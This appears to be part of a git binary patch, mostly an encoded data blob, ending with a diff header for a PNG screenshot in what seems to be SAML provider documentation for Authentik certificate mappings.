zgu&Q1xYbg(YA|F*2mUoQ0iIn53iSV3B`jQUkY*%WW~T`o{a^iIfv>BmJxJ>Jzu?-! z3izEcSOi)oix*qb0bQ}vzESIAj@)ANajtU^2C`Tk%o2+>Y}gwwH;u%hhK|LstCuRd z8n}a_<R2t2$ZRmt02F8vz~(Bu`)<e!j)nEO+NX)Fdf3IN{%^li@8k6=6-y~u<mI2< zDt<lxxE7>*-vB0YDbNsETnE^Kl7TgllPihJZdifm%}Re=I)J~5{-Y-YaJS5T56{1U zxj5b5%*`t-1+m@js7tuKLha?zWc^E^;#Vqkxhi)A4@D3b<=ilz{tVZ)kxt;$eQX~C zq(aA<J<ousOTC~Co7|Du*{xseD2xlq5Ed1V#$fm+`t=094v)uFwY8<^l*jd@AFqKG zGUhgjC0l^As|2pSlX4NJ@dCtl%TTe1NiDm+6LO{kDnUH~a-AqL+KqC+$esYI83teg zc!HuIn2l_3?|!PHu&mZaqepMu0)fE_r~Mx_F9D9B3}|rl0!(y8-=cE+ziS#O8b;mG z7=gtaA>6J-UldQZTOT<Bnf}@=>vqMpwVp`S91KcpcJ<!5Dh#RLgR!+Af)NPa%!<`2 z1(E&<$rMi0K?YtawIAi~m(F==CFvY?pHF`z0I57ndl+jrY1tVZ#0(@2r$ClSgL436 zxcCfGOpjT2P#FX4Y`J=w(Kyh|Sdw~BcAY8VPW9-`j;kLIg^^Xm>BnqqkQaFZVCEK_ z>aWh$;bJ1{_0ESIb^E<#VBQ@s;OabpE4l)KpC6ZMdqU7B9+&Idnx8mS3lnuSFXzyN zc365|-Bc@mI|aX`^z=OAKi?=T0F@rWqfXreK$%3lp#rEa8B5oM?T<EIRXopC?i!kV zvDj2Q2+k2W{ya9Y{N9fpy*F#aU542`ywh(YWq^ti90l3<0}xHCfIiSzcQaQB0dT1T z%<r;vn=FV=@M6x}14#|IdXNbKj+DH=`?>SF<r0qD4i&l@+i&O0f1Vek>3+JzW71E{ zdz;sC$^@K+|G+3;jpVO#t^bxk^wJ~<Lo*n4eN!2Q58q|dQuW@X8q5G};L$f#?ag~Q zgi9cR)JZf8=b;msVdEpc+k*!gVVtmi-dWcLr*DOtlZ|k(4NJ+?jaiVe*Dt-#0m@B^ z&HkVzuK7fVqa6;r1UeWY9p?a;v2omZUGJiyhTnz{U~`Y4r}`&QfIV!-&jsC^1aW`O zU5ObGI2{KNPphK(qYv9&y4q+k$NM0*?vo2HVpk;kh`<3Y8^pTT;n<YZQe6#BT33&5 zI0xYJc-BE5ePIr80S-<`Md`(ZiUFY6QIV7hh%x2Sz=NI?{2Lt2N(aDOHBtjIR`=r| zt^w~-d`@jp5O%9@E1Oc56j5xM^Wj>%zW`713n1?5Vh>lDBCG2>25M9#aCYsG^XXFT zCa%YcPl+)~pKOpnHf6S^PVxMF%R}Ygn^z|dK#A;i07?)YVw4+?wmu~#;2N|KCJErQ z`r|sFMyor3gqF5O-#CE4l4>Feht>w{H8^^vDS(d-w>sRr3gNBW##o8FfYdRFOs{kA zlTxtM0c^AbDh&q$1VcJ2F3^~#5!`0C(&iooAw=08l_?jz_!dk=xZ6SP(u0F$bUD84 zjfRln_t4x=Vt#8N!{3FIlT=a&vRC{49a|l{qt4xi6TR7C8A?K@MRy<(JjLCDe+NqD zsL5G6hUHV@b+OT>!%C9S!rB1`ZL}ku>g?!rHU;1=34ITs-vBSijx+r3mamW@?&lBS z*vTa+R|nZ!ht25xi(#T0K!xN@jAL*o2@iO&Y{qkx_Lh8lNKG7hK{oJt2z7U-n#xF{ zhsUuu9hNx7sDfaObIHp>a5NrWZhOq;2%-Mk>%A`Unh*dk{-Q)NU-1dT+gLYbQd*YJ zJzth92~AZc<<HcaeD84@!U$DAE7&NsD+I)=8-Hv73Tl?<sl!8bH6dBgfnD)>0Z|Se z^MMO-Tv~@&GdmQ5Z@q9u7(@X@SoC__gDv2P+K$=n^UzN<6@aP=r!ou{?$F}wops5% ze>ePs?42Im{MOjVhPj?5ii|HjX(7`~gaCPY=dR90xz+5<kWLrb>1%8sgR_IxEw9y~ z?9kojF_E;6{`ZJ|n9{kjAbEVK2LR`u*xVjW?Qv9*B-louVO*ReMH~+coCO|O0Qahq zV2EM764Qcp`7`Q;o4z~}yKD|#pYKvEcG;={C`pF^G;Ez}*54=hVhR8VUX&^JC_eU# zcQV=?&u-eIj`AS<CV<hiQdaIiZWlua*LFGjLLgTi?&+WdfbtIXx9)E0iaNM{C-y_3 zMm}QRQD%>Njg1|nl%`fjg49M4pKk2k*t0@#(u*dR$VDsN!z{>k?1_A1C*BoCEJVd` z-@^k{J9>M;KCXwM(tC41z^UCe@O`+C?%NXI9!Gn%8*RyibrANXmPjvi#|Ppel&dpT z*q)@ETsg=`YC4qjPIIh!a8R<LKKsC9t-+Q6T~_re{uZtZu!i_>p^r$39PK!#(nslk z5Om`$E%UBY0!5Z~F7~6yIYhlKN-mxLdDdphFWoH;*th>&AUgQ+3H|#WQYBJ&h(;UZ z^j<c#yzOW?GtTRGj;SdD?qN%JjuduB+DpymOKH~Z#Sh*F*8l;0Qeu{Yo-u+kA8)j` zZV;ALl)`!dKD)H8@7Y=ypW|r9NX8{JK*GG=c+X_)Wr*rRpw30=uo86;1<&|Cx@H|V z%aWry=NtL8ao5mhF6RT2ZfuIqNE;`}^(C$-Myt2yJzwaQGADy$CZ`|T`GXzm9g0x& z($aFQ_|C}nT|s&At9AsoWJ*6oAG~I}jjrZm-AF--+42664N7JYSWiSA0L``XHVXmb zj%8x;!MnY=LtR!9YMk$_A<zt7U)Qkc1$M7iwR4cLeanwP9D8?%y`%^Ym(Yvr%UNLQ z`Y)D6KvN+`6bAC9J><F3t7D_2^TNncbvz)-2(1rf<W^w4E7{w#n31_Rp3vlH8N*c~ zM@LSS>GS<7`=fXFFGCzr4BB-9xK9`RN*SVbvFVU@6<nW^ETue*iap@#RlHqC&8~Dy zb5Gb*eAj3jeKgJ07N<iU(r&|zbZQf_;7Br-9}FcG&y?Vk<cDCR@EDhMQ7{U^-s5?j zFN!5c#omuNY_X0p)y)Z`2|Z=RDGc^H*nP6A%YnYkN(1H0)R82+NB%HmURcKiVxwSX zT|;I#Pue|ovXjJU+9^ryXc$Hx6JHvEmQ25wVNS|N>SM0MOufM=)yYqOU%~!=hDB!r z9PX^gCA{||gWFU*l@li{o&6Dv2lKT%lJ)7vC*3a(d=pRSMCR0b7rsmr)C8nxu$Yj) z>|?Il`@!g9Il4&1%Nx(<cZ|A?(~d5FQw~pGoji1paWTd}rT<^A2DtUqGI%1UGpf}- z$&9=e=8ROsdhN9IA+{t;^}-Qa1hrAxaBz@;rld4FEhVIw1(xOgE}Mf-Ew`OtXzbjp zq?tZ)T$o1G(&>xs*>7HDu^FI1+JBWW2IderP-5Pc3?yDsky32r1-h6^(cK_Y|M%XF z8H^wu2bi1WvW(!?F0Y9GB!ga1Jufp#dg<Sz$;(Z~Q{baZRja+Wbm7H+%&Wl=1l+1{ z#0dLuOkRKe7p(xs4xtno?W(#%#EZY~_~0vYAEW+1zG9>Me}4sRUFCUP80^2Ut^Zga ztI}`+CIF~f9X_@Bwfq0W7m?&Zs#BGgE*{M5WdNktKP-yOJHP@m)v&|=1z`SpJs%7O zH5}w|KmEG~Q|Z)a@mw#wqbn<zoB!?~4xEZhuJYl@U&KeRH;h0mRMSk>=5G^&93NmG z{Gyq{|1LxmZibG2h@ATO2K>{Y3iE^8zq(mZ4gT(w1d_VCx-+KABb7vh|J2G*448dj z=+vwue$DK^9Sd&)S6EP-e%n){{}#7CS`>>I5kkZq|97*fFwAG_)FG1pXGMnH#Q%3i z{}NmOuZn=;>HkMX1_lOT2s++H_WV5rAt<+13)ztwsMut={vOIl@SzN;VERv+WiWn{ zd+!(U2mVdrHI)#SYnH0L9oh7E6*DNXk5wlT|B$`^XPnX|0n7APto46i2>St_6DL%u ziwIF2fW~dlu73OdwyOI>qO1*IZgz)CzWc{H4!)6<4Azq3ED8!OvsZpT`}x^=kwtGJ zAD`Ujw{0L=JqB=wx&Xb~wSNZuf|KCLwcs}D>E!Nhcvzy>hFQB5qY=cFdE0!vl#$VI z6wp34Q?4(v-2f~Ol{kr~nVBr2!|3Y=LqJ0c26uT@GO^j;lV?K*79R=ABjwK+spbHB z*9ONJj{&_?EEN62wQu$Sbv#LCoTv+zFikcED(vmaPCv**=Q(6`$4d?E0Y(~*y;Zyg z*Ag@UxApzI!DaPdNsr(fWx7*D3_SoJZ&^JL`Nyi{BBg|5v@4rSfXQOT2CTyFkPMFB zBUVEIriq_~>P{O99C;3)<)zI&Xp>g%`xK(%Q<I#)&`^DraNkr9Kt>xa01ld;p#lKd zRksv$c2Ufyst153sX@<7hv%(&U@T7p@5?S#ANFV)qflm-Rbjl4M?-e(OPE+)+k298 zyRJ7~1WO;xY$4cbz`z^_rh(><IMpB^i!Q|*6CjbCDMmXpm?f=Aycc9jk1O6YRbyL5 zmj9vx1{bPz+5gHr-TL?g2<=<j-ac@onnU(6P!EedNqnD-xi<ymP>;6bcs!nZfXmty zN#Q+O<U=aMG(kAZ-(@LU)f`;9scGVYsj<`n1Xh<j0CT`-RNJE-0GoTeN#bdh3~uhH zHax`525*6Jio}iYeTjTS`*I_?bt)eJPF*U)O%`o@%rve5VO{(j&DzRoAZk`vSL(V9 z_Xu19d!pjU*Mw~a9#TR;(TxENok2LVG)3$h$jX8%^$lCbLpbv`JJ}iLNQavS7S9$& zH2}(*!!L1fiQCTLvb4|h)dt{KOBY}ZzU;aStT!rfTLKih*m1yI*aT_}WdH<Ti}b!^ z4=z~-!6u!PIwO#S&fBCutOB=Ikh4!nt;S|)1Fpcc4JTh}zHUa{%9=j`n!jei?90&x z<l@$(7>P6%A>g5Icvb*LrNJEADLf4@q>}~x(4~%mtz|BB+9kKK+d)$W7mN+g7j!!t zgL8LzceGqKA8>F7_3>{*`Ii%IH-MG>V2l>zquDeT0+8AQ>Daq>`+$F651<(<DPAR> z!?i@GSh}lb-PhT{DmADD9)e3pOCrB!A7~Wv51_7FlLRCmfj>pw1sL#&97`wgm}P7v zPy3BzS~VJ*PP&GdA&hp%Q?{Xi1^g8byfwZ8!f<3-^e_hi@tpu2nqp}UTjFi+)O46$ za(ZAfG2D&50JrP*sR68WSv^~ps^}O90ZqM2)&F<-hgG7)=|rM2SmeohXTL*`V&xvc zJUiTH-_hF$Ch;}n)RC7B<@-Tu2AIKVsrZ7|7q;5YZvd?E1lUsyJtGTl^XC*+b@Q;> z-OcjtxB%fRsw<|@Ufnb%Oeel-B%U<xG}z%NVrn=Gp`t9p+LaYJR6Yk*kQJa`>@JYf zZK%=~wBia)MQg^8hR*^ci&>Oa+;nTAVqKORWw5PNgiL6^hg(4Is5-SypL6~>nSgUS zhyDUox|_4SSLoVR&K9s3wCo8_uP)CiU_9cGSw4qJiz+8R^&?-reYi(PK#0_qRA(0C zJ)Y`JOLSzh1jKP|YP-#f(FrhT7RR$5jc!0wwT7Iw(;rWiih!n-jogy6ne-ei<;|sK z4nK5ju)lA#52za_8UAuLgzm;J*^#~+M%@cTn}w_FiZjd*F8-hlf(tYAQUd4A<05@W z-7h+XRIi&58)AKVe5|v79+|*J9gN`Y3#DZ&P<ft=L?9ghWL(U&o!;}-M21ADfNboz zc?_o8PBU6NHEzsQY7UT1@=SHqCWO*o7}gMQ@36ExA|-oVIfZr`ImR4=<Ye8kOT~+5 zeF)Meam^h!O{S_#TqJkcb?%2R1NXfZyY=HVtAX^l%RbpzR<jN6t|vS5e%WYzaV5(I znWQw1DrykldG8K1eRO>$W1V<{_8#D4TFxG0^D#!s`e54$2ctVWJ1S39T9~nH?>u3` z&Ii(;L($hDYw`p<9w8;vjtO-KSp#c$eYkX3<e3N^2oK;%Gu=a=J1ldC)r%3*8-SYf zhH02ex^@R9Uue+O<cW7~&G{0}ZUtsPZ}lF6C)kR}A<WVlYLER$-tQOdt5Z`mtf9AJ z7ZJ9jx8H83-1M8{=BK+sef#7Pz)x}T*KowM6K&p6SZ4ZE`Ijn4L<RHs+zV9r9Ytge z7arjOf+Zzd&p#sJ3*#9dQTccoim}_~DrUi`vtSWaF@i~N2A|pkfy~-lQziNmaQ|dk zFfO47;Re_XE<IcvkQh~;FI!*Co;PIIM!q>pdV+$4p@CjXdQ)J97W;iFCpk3T2Kqgo zdyUec47J_v;X+SmPzX|~50;Jrfpq{3pLPQUzmz$tcV>FkE#Z2bkwf`WQs&^B++1z9 z?X*vYxvJaK=QT-N=N{KCvsk?$W(axBwUAzz<Hbpb&<$_IB(I{}T+EN&tK1(3Gev5> z(Qxda-|tre?Bvq5T(`HgW}F3Od$2+l9oD;dZ$JhnvbpGCbu3D0rm~n(%7hH8P5mzO z_q=(JF626teu#C*4}3;VDj7|EDQ4H%-Hp|tnwqijinHjM_e&!5oQB+NBvvAv&I;TD zwt)kt8W#T4J`<0nr6oYUD%Gifs-U27v)okZ(MP0*0x-=E#ipFg<D%M-v{bpFxhPGA z5s{(I`#91TALi7F3~7cdyYJSrqi-pv6k8DrzZE-I@pxNwh-<G55-sxQ`?DKlU4Gi) z8gO|P%BB3O2#HSSe6SL8g$13~69EbR$<x%Y*Bg<Dfr_DnF?4wSWR5uPcH%F5+;DE- zR;}bWB9Y0gWAquB^`EX}ghEt}20!1B*&evcmP?_2rmh&4idX>Y{V<V%Slk<ACY+z% zTn5ScaF!Y518FC(TjzdMOMPSUFvqJJ^5sL}0l<nwhSKgANO`>-DKiQ7{dkMDJEPAm zHJ|$s_GCp`9S!GuG^%{1*yI=DZ(>71go&nzpOJ1AbjT;XF-N_tJK(83R6~6CB`J1$ z#SM5=3<I(Sqh29>ft<do1k+=|O1Fp}S7?_Mi6|9*ft+C;Q7HehlEpSvq;?`l_%T+$ zVfvhi(l=#^8j~;@;&0D=Tx8xW3g_sEDNROU0O$_TU>B(`*U`ExvZMGg@i7GvHT2O( zZ>0K<2+~EY`k6riArz3?j|v-92i8BhX9<gKDkep@DNsZOMtBi_(cV^?RVLX~MO1tG z^r@N!HJ&g6BFfExAYp0M6vNXuzUvQk2HrrD@Umz*U!vZZABo@F$-mH<Oyk}nM>qQ% z(W`~~(M0DHVmaj7Bio`!t3lPhJ8a0QK|UX!v+}1QW?x;dZq)YntoKw2W{A{zlibN2 z(Rs0L=2;+8MqJ4zn)WOZi3vxoq5#s4X>fmKgpkEee8}&BZ&Pj(uKx*t>ClFP3Hw*D z>$FsVh#^~`YU}<GwNqxg^|JLA7Eb<yHtCK5TFvIbkE)*vFp~+<O=!*(6?RhXh;yr? zs>fbZPgJet_Jpjl+M+^AynG>><UwXl)Z{DNxn*lvo=@GFq)~-oMx9EVgM@b~M3kD8 z2~l!pU~xIgugZvn@~F8KG@{4`b{8`jKJ^Vttnr?%Ij+$ke$rAB$}4!(z@_yn7U`x; zg<}0M&!y#aHzM=fo$^1V?J$cbvRI8@l_620zQ%lHnCqr+^XH&OH2KI~q!^xjEjxQ- zFZ*8Ajw!^u=`~S*ya~?1{S|3@3~qe#&fAWFQZK2F=m*&&H_tVhD{L-8LU1cOCR8?Q zqJ)SzYZtB7gB&46m+N*G*`q{IlSXm|HmvkzU3)R))z=;{h;M9PwED`&g`6wrVFa}l zRsM1-BAhGWNS>H0{j3WS8wzacW4k$Ai3w><cQZ-B#MBGTTF$MV0hIs2tBQh&PiMKo zx_t5)!-C_m$LI3(qN1Ckhgk0`m1;#hibIu2s8q?YHYGZ6kP$YuQwD4;itx`rgnUYU zY$jPwL*{!mA<OJ^z=z8InLN&Y^!8kTmWv%7lBSIG<m%X2-5SN@R`C|}7W@UK<(xuo zIKiFO#T<FP{bViW0}>iJ^py_T4ZjDS&uO{j2VBT|+KEx=(Iy0s>~JEYi7?(L`y;RJ zJP>GyAe9uYKYX-K6LV#uAfM6p4TkW=lEhM|-wZ9+=jfY<%O-E7z`XmRW9p@Ev-CzK zGTGYYm|(!PmYu?DVu(q}Hct8VRZ-iA4)>zXmUJCytO24PmVQOrbnMWOJIhxi^UID; z;IDx&?QNvC(+0~2w}aED&}qX+5m8xQ_~RAwJ?&A*uqG^69r)IG|4@pIRKVDR2jMFM z0;$Z?CnCygX7|rxRQ}nezA($ji6P*p5NgnQHfecrB9|VcHUw%2D-D%1iLZ+*6ZZVO zI3$_9%&&(eAPh;)iIulFpCDmAX7M4R-65@`O8KWPq%%n5B6U@d>>aD#PSF1|fIojU zao(gwAcG`5A^Q35{#<MC5D+Dmog?i3X~oYUoY*Mn!hRym3SyvV|8x)hNWUeFfFGTl z3A*>YOl)LCq%ht7r^<NnG5GnUR}T73&nH>Trf6X1em&VL?1^AN`Ud~`&(ZodWGJ)> zt4}Aq;B)-*N#S=`2Zx8&^eu$j^tt|jd~Sf^?2I9NYbgFc${$rJldNoQ(IH2yB|W+P zRX==Fde>Aq!h;l+^M+~jcl*H{eM2Qr&_EYftdGp0`CTOfk^<h?_>>grT<>3<%ls^C z%xngp4*l!t0lZF5F4}=rnHS!FwC@!b;o|a5&rEv~1^(Yd0S1j;UIF;w@sqYP8GrQ= zd@Hk3*va%BqU0+Fyb94@0}LAY2<a_q4GJh+_CJLi7#kD(ABE46G~Yr9lyw-y|D#St zjntx|Py~jG+JFhVUlV{%dy~p*Mhhuy<$&pq$RAa<p?-F$CU6Ea$KU>L2^H1!v*vgI z@3OP%lm4%=KLQz^u$4E=e-&PVYL5q+jrRALF!X<GyLG^F$ZYXvL$Xl0xN7ipr5tWX z|Je{JB-B%<d~kUC4-)^`N%hq9`~U=oX#RlDe|D15t2A8?DU8LA<*&k{Q8D+*FoYFr zd~zuMoO%4tUNC@)9)Fkpf|lMVPbcdQngZV+Ri-n|seaG;y`=w{&Okg`gr`B=5`T7N z6V>@V&O7=@2nFGfhr?LBw!rW|QMaZ1qs&1q9aUAD*m;@r6eNT{R<LB4u)YfiqNH~| zANC*ZHRb3ZY$MDszotX@-xMNvJ;5k<An;^>eOUOj!XqSiJob+|S(kE%2!E_S21!o@ z29bVB$p79WM3f%P(oWAE+yAW=@EZm`3ycxr>CFfJfAkK)tF-Rfi06*}UylajvGnwU zk-&cN=SU!UC7OTK*;V@MQ4IVY6m+sM6m?tDKgQwaYp-X7fAn7%-l?0O3{rn}$rFL> zraR=%$7rpQ8g3;0@gjPv%UPvZSglsx^?2s57?ogX`1!%HZp>D)pxNeH#Y|I|>T`*@ z#WUD$%T!vzL$KlQ(vW`mz0rK3FSbyvy4*W0I1+cOt#CN_Am;JX;(6Qn5pPG-q^Xkh z9q!(v!l@D6S-1R|s{{M8O_NRg?1w_6a?F`?Jg=t9*Iu5ttX9}}CFWKq-54Q63iDar zq5d_2VN6Ium+Qpcy9y_vcPY)(@o1F&H9xx>XJ7882lMC~czuic;mbjDU_D?KeDuCe z17zWl4uyt~t2n$`T`LQ9E1r_t#}(2arintxY(($-wTXM(Csdp1*Hum8YLVKTxkj+9 z-jONjt)fnmt;j1IeYKE(pph_<pI6^ujt=>5P0h8MaA;&WMv(yJ{vj)h=ZQUSP?$L+ z|G(AX)r@&?dV1lQO^0(t`st{qJ}|je($FO7*+izG-lJz;6S|yjt~Rq)E-o%Lm?I4g z&_7;R1TT8V{-GgJ1e?s);~c*_4qpHpZ2i;IG6<y{7=3?CAn9YouNvelrR{DQ$*>3V zRDQ+ryIb#A)pn&ysF18N%d4t1^pzs*?Cjc31CJZyLn`bh?bnAmxG;Yf{q*L_-XY>= z56QZ$p(-o$^^&B5+Qy06%hE<4_KDF~jrT2$9Wbw`4sH`I8otmp+;T6-W9b>MPj%t^ z7Bf1JLg*fZH~+i=Vq16lO6Y{-zLqZD+1%v`1Ck5s3k{9UuI%JW{;kh_Th;qowd*tI zz`~zBpdiG#B3YYBqWPY1CWB)?DsZfBjO3FnsvKDL&x8z03L{^8xV_2HbUM$ay%~_b z`aYI-@_|E9CC7AQdxPUP`FTrH-sTKRl|~1xcK{CmqYYb!{K~WTUdJ0rV-^=iZ<*y- zO0_-QbCY=Urr6C>gs!?zGd9!th_>sAjlXia9k_4!>gDC_q%tMzwD{jD>mZt#PDwI| zO_Z<Ue;v4NYdy03nzwr=`Wl7SKd=1={eWO)W21a>tF9yFj?3ha-gpZv;zYv?iQq~! znzN(=_1ePO5z%Wf(jAZZYX|4u6+}ZjeqQcpVm)QQ%+57;;NV)6%g9_+nQR+o-DsGs z;&m9)IJBtTiF$Q@Vfu~7*tNv%vTA)Zu!<b_su^+S@Lt1%^I(F=haag^Ra~_8q@vHi z-jE~JHV~>d36ja#O%)LdxXvD3lZqxASF)`yY+sS)a56I9KAuP_zT~QozaqKzCkZKw zWQvZnJ6ZBvV3CUH$+=UmaW_FHB|&@h{FvlT5JS|n(9~*NN&GoJgL0H)H_N~WJUrtq zd4d*1L`%&avw^_9oUhKEUs^XcG0AV<JyKBVc5ctc##VOE&Mqb?X(`3DJZ6N)%*?Dz z#UnqD!Z4c1o$1SaE@n)v`$^J8!Bk2l8&#h^jgJ&)Tk-Mn@wiW^bpspM-T#Sn)W|=( zEH)aVjGN-l?zGq;kHd?S%Y(f@9$Dk11r{>Fvx3{b6;6?EH#e6u1KaGc2RAF<Xy&<X ztk{_C==@0Xv!7f&o{ZCqv{Jfc3$l2#-=sQHg^Iiq$wUl^y>VkptYO)2QF>$pbIUM2 z0qf)At{pFTQKjr9XXJ*%ffD;eDz<`2WF}l@`wj$5l#6wfK1E7_&;2S^+r`T&Rb%A} zrz+2*Ec)_al~CgfhV17{Si66WCNY?dT7xF=W{r(lnU*n9OdO>I6KyD6Piksu4C$qu zonoFZJ&%Msl39(r*Dq;Ym5<M~VpT!+LNOIFghT4MB?79OD6Hx&B>Fy>K7XD(GNnYQ z6O>zk<Ly@!TU1P<?L3Z&g=xMyamaICjXP1NBv<L6l3(smETAXR2feM<IxsM<8>@Bj zH1E?Vu<owv3l4=dO4A3CV=e4|tnOPZ=7b+L6}g)+GPaFOj97vr|ELQ~aBErQ=%O75 zx0n9s>n@>|I=%hwvc7|N;@G`vp#9t8IBzc*QR2-ZnKR}42VV~pMrHD0W#%3m+Jw){ z%~nf0X3VjX-jfKJj8*1!3v!jQj~#?8S517T(o9BJDN9J1GMI%rL?!WM^k}`D)YCry z_9*Xe7siO-Ov#sx&t>B3F@38FMsr8Tl@k_y78TptoR!yfkw?%Wipl<Ai|dmeNbTVe zfyMj<`FWTAp-Vb$QH(w-)|;>XuPh|YVxPO{*!M*g9KCX@owiwZtlhe@JL-+GKR^7Y zv_Ue{FtEheAXBLkeMbJlQe%x5eaiUq{dQ6RXj0Izj{LD5Mr+vDuhU1H5^J07`yFG! zDWvNdF@opgDOFo;LJGnL!uX6|t#7fVN_SOMRXF!^>NWECnXYsZFsqqbTkpKDX(=P) zxa&49%eVSOC}F_j0e$X9#&VLrTk`J7@%5P%u9S+SO6Iqi`pXba_i;uQB~3$q`};54 zb-e^G5A?dfc9#q-_hAv&%-UWT0TiGrh)P(WQzel6+`At}AXS~yUbl-;6tqfInN>NA z6IB%)mF=9*<j5LdZC}(rwcpC077;UdJK$CH*+YY_r|B#j_PGv6ExmY)oBzBpPQwD{ ztES*XmDIAXEf-Vco1U(-jVZiYUm9$TEI41!tc-`T&w3Fz&t7!M9DT%Xw>tYm%5P+@ zurVKT<ragc8`?Nva(y0q=cpibcw9S%SKVK(V(?jxqBiAK@V@wDit0w`^{Ht6*K6T; zp`tPZE9X|rL(c^?lHdv^?c(b%rA+7Z1PS@&wB52v%H~zj`ZmkU{TMeN+=^j`v-rro z4gTfO>1D#KkSxL596gv^v@qZNnF&)l$9l?pY2sk)VPBimnZlBiEZ$PT%-61(`9Ue< z()8nw_HLm-<02{>3wx<%?FTp5^V-9c&p6itI)+(UD#~i4u9gR#;Ugmhrt1Rx3Y%VC zq$v?u+Wi$3->$GSMtMMD7*wdVwtJhivvWa9w(V+-yS38K0hi2ds@|KL%ax+ISW|lL zE`D`lEp}C9F^llTOC;F%Hsp4F!)DL~^gQ%^2bxut3xf4mO|uQAl)<dgEhp0ifo-Kw zaYy03!j#LDxp>0pXpKn$C3%8pGK2fD7ITe?idG(%;=L4)DRZG3SMQ<%7TFs9&u9*D z$Bm<yv_It7N~}Cw^U;vT8!|Kcn4BR`H{+I+3Jan7nbC_z6M5?zuAl8cUJfG%vB~C^ zKBeE=fK95rh?J92Qchc<{g6DeNOp67^E}p$nozLTW>gR{faW$ScjBX(F&H#JeOalV zaB;It;hKsnZ5f4D0zGE>V`vjAKol0a@27r^yEpw&CP@zje@6xfUrB2_eKR@(;g&13 z1gI$h(YL$0xQyGlyxJW?{=Q-h^Bo=@p5X4QC(XxWJ$}G&=gys&`1mEII#@v~a@3Hl zz_*lyic>}pqNe-iGhB05jz7&-aA$d4DHnYfFUNegQIMBkQ!sirNy&7XMhP!*U=)Lg zC`q}md)(u7-MJ>s@mUUZc6M|QI#h;;I!-3YvQ<u$FzGh&+-LeIKCpQrl)}AnfZTqw z;fs~b)57|dbu!sqY|q|Bi=$DyrTn$;l>B|%XjRZ@9d0+;q6dth6c^J>)y^iqBYvrH zC@QHXk;U+SR~utq_8|GK$$s0Cv`W>)G4=QyGdp(y3-hGbWdAFnv&HJBH#G^aUD+mg zG$+aPsk*H5zE5G(*cyzvclT2r42(KVq(HmBmy7J~$2A{&Y%4AG3g!-L&5o@he!cB7 z%`F!gG7{%qk*(w?Ja>t1QsUGabLS|*pLl#FyrMxo<I9M%_>=3w>}Sa<@4F=?VbAmO z>*|JSR9%Dzhz*3m+Jr{#&O8{3{<^Z4r!JGi(<bgbvS8m>sxrOunU>zB-CwpWQVu$> z)o_jIvRKk_8LN~A*WS9@u!D5nHcavob^Ws3tM8|0=k-G*cbgf(4Kprxn^VWyvskl@ zyyJojO6>sa`Hg83CBET?`$Q{t+R)2yXd{qV1I_vP;OOM8>MMPHb6;Z_@o1yTq&|x( zvW&eA)<%QvMFFxfjudtM*@Ha8`pN+kt#j5(V(lKcY47lnO|qz>M7}}l<2;i)2hw{p zt^*JG&BRyJa>K)piF8Z_p2=TyNmH9l&6(YE-(AH}iHkJkcOxIiP06p~=%ra*=Pwng zjnp^0tYDs*GEI3@GFZ4rYxUmv5wRxsgSgy7xtS}OU`_jJe+i8OZLxLnKJvpx*OI$A z72U|K#fvA_hQ}4C8Rkx+32s-t4=Ue8qjBrjx8M-$<cw2+{RH7FUHY9=$*Z8D<?&(G z$oz(enIe;KYpOYq#+hUj=iYaAZ_+Qb@AP!=k4y|$mW2xR{z!gZ$I;ncN;Z@|!IEN6 z6my#Wwaispt?=@)0F8K?-D9-K``Zd)m%;2YVfWXsC2V)=zrfWGlc+Qs9Nqkgh=|U} zGM}A)IbC+jjq&JBV+{SrMwHMJ#%k<47k+zr0mD8|#Eod&INp!De`|D`&wAyMWZ4mt z)l>9ixPJNI@?~SokU|EQx2dGMpjyLHY2eXDu4XfmeZgvf6kT*#cC7m065mk-hxoCz zc^Jkgw!Sh7*Mxh5cQ)3X9`K}b_3c68V%{u@K^{Jq^%Gc7N;4Q*8p^h_DIJ~Oa??$C z;4EL#;&XT3;%c+&Yjbpw(J-;2j^WIak@kAHMeN0frpsEA(fT36y56;*YIw@_!o>Lq zipA`_h+pG_*W(2HCO&0uRJ}NYo9h)gcSLq}*T_+6kUiM(in#Qi`f_yy)OmiC3#M3a zyns%oiD|`Obt`%KN<Fm>r{X=2(@{{X=G5GN{#*s3P1l<lxX@}<&`*-&v9l5{VlSG4 zah!EX`>lafQ_RbMu%?aLw<k`}Vw=asp@sLSolU8W80_E2mkU*M+1)!+N%$Vy9i07) zJltwQKtA9OCiJ2)wP#Pq;H-1{d~o*jYxaWF<*|F8Uv6$mZ}_FCzgCXt$e+0!x4rc9 zm_I5xmxCS8q#ibm=w+ahyOiN*@yXOUpJZ)P2b~aHuN|<Oyq`5MZEW~f?h@l$MQh@N zd)xWQfHm3G?U<;w{E}jQ!aV+?+^P8VyDv9XT+dZqAB}!ZHmupsqB?q4RIqx;`m*b` zfp7$4pEW&es)s!06Uc3K7w_<~;}#tT*MjSP&K308(FL!Nd;OIqDGM$?ZT65TPjBx~ zYR!4o+S^ri578={tIuhNJPxjAOr<Yx3-%kg&WR?pyU%WCJaw8_Uhql2YDGr9QL=fw zjCub^qYsZj>aAA*c^bQvRgVjrMcj7nOt!h^^-lX-gI^c6pt4-BVW%f$d50sxZ>w}p z9*O*5{fB+jFkwG?!3|9an;0zF;Q6~@zgK_wJUoRnQPG8OP1oPQ@%x(yUc-3(gzQLR z!>hQjetQZSWP}OcxSC7y`3hrxHF)$y#{XzD&72ppv;PRk<+nlWmnEFc;ca<%{wh;L z;XSVLsg$}GZVK))vI4?ko^|wjR+!zlk~9|f$26E?N59>e*tTBWA7dwciZ;u?Up&j( zagomyb!y&bR@96#jCN-}bnH&tWmHl8{Ov<R?S-OpGB5dudro!!a=rG{j){*xb-vs4 zV{!<m7Silmy&dxImy;2j!V4>;pje6~X!g9tescUfiLZ>0*J01V>CvI>dVY^jp<}mq zhScVd_Z{QfD)-O7qGW7m()h4`bFy#VkYei$oL$vPMxjL;niu%xc%hX+v2n#5i64TQ z&nynkiC3@oo6E4mg7;?_(<H=nV>Ito!R`vA-L^=4<FkZ39n1KJFHr(1taU(7<987) zNS{CHh;a4^;SADjXV4JkFQM>~d@<z=5{;A~>j^*o(|v`WnFO586Lx$!;{S7B(K;ca z&~}wAcmCm{`v2K;@nmFEj|H7BD9Qd<RR?(T8zK+}x3h$ppJ&-WZmzI5z$2dNfJpSG z-`Net8^PC9ZFOkAobZnl3@}iXiVuX4!VK&XJH-ANk$Mz0-(;;z8M9w59`Gf}+@={; pH3N}|30z9bKMLu@V)=36;q03CCTryDCj{{4shI4O!pAz^{|`Lv+fD!g literal 0 HcmV?d00001 diff --git a/enterprise/integrations/saml-providers/images/authentik-04-cert-mappings.png 